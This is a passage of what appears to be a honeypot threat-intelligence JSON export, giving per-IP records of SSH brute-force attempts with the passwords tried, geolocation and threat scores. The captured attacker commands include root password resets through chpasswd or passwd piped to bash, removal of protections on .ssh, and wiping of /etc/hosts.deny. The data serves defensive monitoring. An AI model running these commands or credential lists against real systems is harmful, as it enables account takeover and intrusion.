      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:30:26.966000+00:00",
        "last_seen_30d": "2026-04-20T17:18:05.471000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "188.130.206.131": {
      "attack_count": 248,
      "first_seen": "2026-04-21T15:11:43.006Z",
      "last_seen": "2026-04-21T16:44:22.483Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "paco",
        "deploy",
        "git",
        "mk",
        "msf",
        "odoo",
        "oracle",
        "root2",
        "rtorrent",
        "sadmin",
        "server",
        "test",
        "test_user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "2024@",
        "4321",
        "P@ssw0rd",
        "P@ssw0rd12",
        "QWER2025",
        "Server02!",
        "Xy@123456",
        "a123456SD",
        "aa123456+",
        "admin1234567890",
        "frappe123",
        "mk",
        "odoo1@",
        "oracle5",
        "p@ssword",
        "paco",
        "password@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"paco\\nI89fv3wgUGYJ\\nI89fv3wgUGYJ\\n\"|passwd",
        "echo \"password@123\\n5YRnr25V798C\\n5YRnr25V798C\\n\"|passwd",
        "echo -e \"paco\\nI89fv3wgUGYJ\\nI89fv3wgUGYJ\"|passwd|bash",
        "echo -e \"password@123\\n5YRnr25V798C\\n5YRnr25V798C\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:11:43.006000+00:00",
        "last_seen_30d": "2026-04-21T16:45:26.395000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 61
      }
    },
    "117.216.143.31": {
      "attack_count": 219,
      "first_seen": "2026-04-30T08:25:17.995Z",
      "last_seen": "2026-04-30T11:12:30.840Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "mysql",
        "test",
        "345gs5662d34",
        "info",
        "postgres",
        "server",
        "srvadmin",
        "test002",
        "testuser",
        "user",
        "vbox"
      ],
      "passwords_attempted": [
        "111",
        "111222",
        "1122334455",
        "123",
        "123456",
        "123456a@",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "4321",
        "555555",
        "Admin234",
        "P@ssw0rd",
        "P@ssw0rd1",
        "Welcome1",
        "a1a1a1",
        "blank",
        "changeme",
        "developer1234",
        "hduser123456789"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"x123456\\nPdRSNsbGWtns\\nPdRSNsbGWtns\\n\"|passwd",
        "echo -e \"x123456\\nPdRSNsbGWtns\\nPdRSNsbGWtns\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Alappuzha",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:25:17.995000+00:00",
        "last_seen_30d": "2026-04-30T11:13:32.310000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 94
      }
    },
    "201.17.133.138": {
      "attack_count": 204,
      "first_seen": "2026-04-25T00:55:04.606Z",
      "last_seen": "2026-04-25T01:35:46.645Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "guest",
        "root",
        "git",
        "steam",
        "345gs5662d34",
        "admin",
        "ali",
        "frappe",
        "ftpuser",
        "infoserve",
        "joao",
        "kevin",
        "postgres",
        "sahil",
        "seekcy",
        "sysadmin",
        "test1",
        "ubuntu",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123!@",
        "123123",
        "1234",
        "123456",
        "123456a@",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "789UIOjkl",
        "9999",
        "@info2025!",
        "Hello123",
        "Joysuch@Locate2020",
        "abc123",
        "admin",
        "admin@",
        "ali@2026",
        "frappe24"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"guest!@#\\nSEoSHv2HOd6z\\nSEoSHv2HOd6z\\n\"|passwd",
        "echo -e \"guest!@#\\nSEoSHv2HOd6z\\nSEoSHv2HOd6z\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Lima",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T00:55:04.606000+00:00",
        "last_seen_30d": "2026-04-25T01:36:48.265000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 65
      }
    },
    "124.155.125.131": {
      "attack_count": 203,
      "first_seen": "2026-04-24T20:01:58.285Z",
      "last_seen": "2026-04-24T20:58:08.769Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "ftpuser",
        "345gs5662d34",
        "candy",
        "deploy",
        "intel",
        "laravel",
        "n8n",
        "odoo",
        "postgres",
        "spectrum",
        "tester",
        "user5"
      ],
      "passwords_attempted": [
        "!@#QWEqwe123",
        "0123456789",
        "123",
        "123456789",
        "123@123Aa",
        "123ftpuser123",
        "1q2w3e4r@",
        "1qazXSW@",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456789@",
        "Frappe123",
        "Frappe20!",
        "Kk123456",
        "MoeClub.org",
        "N8n24",
        "Odoo05",
        "candy",
        "frappe31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:j4tidz7J3C8L\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Azusawa",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T20:01:58.285000+00:00",
        "last_seen_30d": "2026-04-24T20:59:12.107000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "220.80.223.144": {
      "attack_count": 193,
      "first_seen": "2026-04-13T21:13:05.282Z",
      "last_seen": "2026-04-13T21:56:16.265Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "ubuntu",
        "345gs5662d34",
        "ankit",
        "deploy",
        "duser",
        "git",
        "hari",
        "n8n",
        "oracle",
        "password",
        "sammy",
        "user",
        "yaya"
      ],
      "passwords_attempted": [
        "123456.asdf",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567J",
        "Admin12@123",
        "DDxx123",
        "Han123456",
        "N8n08!",
        "Passw0rd2025",
        "Root2018#",
        "a123456b",
        "ankit",
        "duser@123",
        "frappe24!",
        "hari",
        "iloveyou",
        "odoo#",
        "odoo1",
        "oracle!2026",
        "qwe123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:c2Mmh9nP3yyT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T21:13:05.282000+00:00",
        "last_seen_30d": "2026-04-13T21:57:19.682000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "70.54.182.130": {
      "attack_count": 192,
      "first_seen": "2026-04-14T00:19:50.063Z",
      "last_seen": "2026-04-14T01:20:42.568Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "imapuser",
        "info",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2",
        "2025#",
        "A12345661",
        "Abcd@123",
        "I2KPwdI5",
        "Yc@123456",
        "ZAQ!2wsx321!",
        "ali9",
        "info123",
        "odoo12",
        "qazwsx888@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2025#\\nTCyLyVhp12gL\\nTCyLyVhp12gL\\n\"|passwd",
        "echo \"root:IrLCTusqm03A\"|chpasswd|bash",
        "echo -e \"2025#\\nTCyLyVhp12gL\\nTCyLyVhp12gL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:19:50.063000+00:00",
        "last_seen_30d": "2026-04-14T01:21:48.829000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 41
      }
    },
    "114.10.47.178": {
      "attack_count": 168,
      "first_seen": "2026-04-02T10:30:44.100Z",
      "last_seen": "2026-04-02T11:47:24.043Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0987poiu",
        "123412",
        "123456.",
        "1234567890-=",
        "1q2q3q4q",
        "3245gs5662d34",
        "345gs5662d34",
        "@dMIN123",
        "ROOT@2025",
        "admin66",
        "admin@123321",
        "asdQWE123",
        "balance",
        "change123",
        "lalala123g",
        "mickey",
        "qq1122",
        "qwe@123456",
        "rooting",
        "samsung"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ek6kPFjq8qWz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Surabaya",
      "asn": 4761,
      "as_org": "INDOSAT Internet Network Provider",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:30:44.100000+00:00",
        "last_seen_30d": "2026-04-02T11:48:30.545000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "23.249.28.115": {
      "attack_count": 168,
      "first_seen": "2026-04-28T12:30:37.365Z",
      "last_seen": "2026-04-28T13:10:12.412Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tmproot"
      ],
      "passwords_attempted": [
        "!q@we$r%t^y&u",
        "123",
        "123456abc",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcde!@$%",
        "G!yBwPWH3Vao%",
        "Mm123456",
        "P@$$wort3@1",
        "SHxxyCTyun@2025",
        "TRK@THOR!",
        "[prova]",
        "lkj",
        "p@ssw0rd!",
        "p@ssw0rd123456",
        "pass!@#$%",
        "passwd3",
        "root1@2024",
        "websolutions",
        "wwwroot2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FuqjVSuOjA9G\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 152156,
      "as_org": "Naruto",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:30:37.365000+00:00",
        "last_seen_30d": "2026-04-28T13:11:13.187000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "103.93.93.211": {
      "attack_count": 114,
      "first_seen": "2026-04-01T21:54:46.347Z",
      "last_seen": "2026-04-04T05:31:57.814Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141140,
      "as_org": "PT Jinde Grup Indonesia",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T21:54:46.347000+00:00",
        "last_seen_30d": "2026-04-04T05:33:07.175000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 61
      }
    },
    "113.249.103.253": {
      "attack_count": 88,
      "first_seen": "2026-04-17T16:18:15.101Z",
      "last_seen": "2026-04-17T17:06:32.085Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "abdo",
        "odoo",
        "postgres",
        "ubuntu",
        "user",
        "vlad"
      ],
      "passwords_attempted": [
        "1234",
        "123654",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567890",
        "Admin123456",
        "Welcome2025",
        "abdo",
        "odoo06!",
        "p@SSW0RD",
        "postgres08!",
        "redhat",
        "testtest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:18:15.101000+00:00",
        "last_seen_30d": "2026-04-17T17:10:04.462000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 47
      }
    },
    "110.36.27.124": {
      "attack_count": 50,
      "first_seen": "2026-04-27T12:35:45.560Z",
      "last_seen": "2026-04-27T12:41:11.090Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:35:45.560000+00:00",
        "last_seen_30d": "2026-04-27T12:42:18.767000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "123.14.98.108": {
      "attack_count": 50,
      "first_seen": "2026-04-25T09:03:02.574Z",
      "last_seen": "2026-04-25T09:08:27.047Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T09:03:02.574000+00:00",
        "last_seen_30d": "2026-04-25T09:09:30.960000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "125.41.243.217": {
      "attack_count": 50,
      "first_seen": "2026-04-11T07:50:49.134Z",
      "last_seen": "2026-04-11T07:56:13.598Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T07:50:49.134000+00:00",
        "last_seen_30d": "2026-04-11T07:57:22.503000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "113.116.219.193": {
      "attack_count": 46,
      "first_seen": "2026-04-19T21:12:33.074Z",
      "last_seen": "2026-04-19T21:17:31.243Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T21:12:33.074000+00:00",
        "last_seen_30d": "2026-04-19T21:18:32.741000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "175.107.3.191": {
      "attack_count": 44,
      "first_seen": "2026-04-26T22:13:49.298Z",
      "last_seen": "2026-04-26T22:18:34.775Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T22:13:49.298000+00:00",
        "last_seen_30d": "2026-04-26T22:19:37.575000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
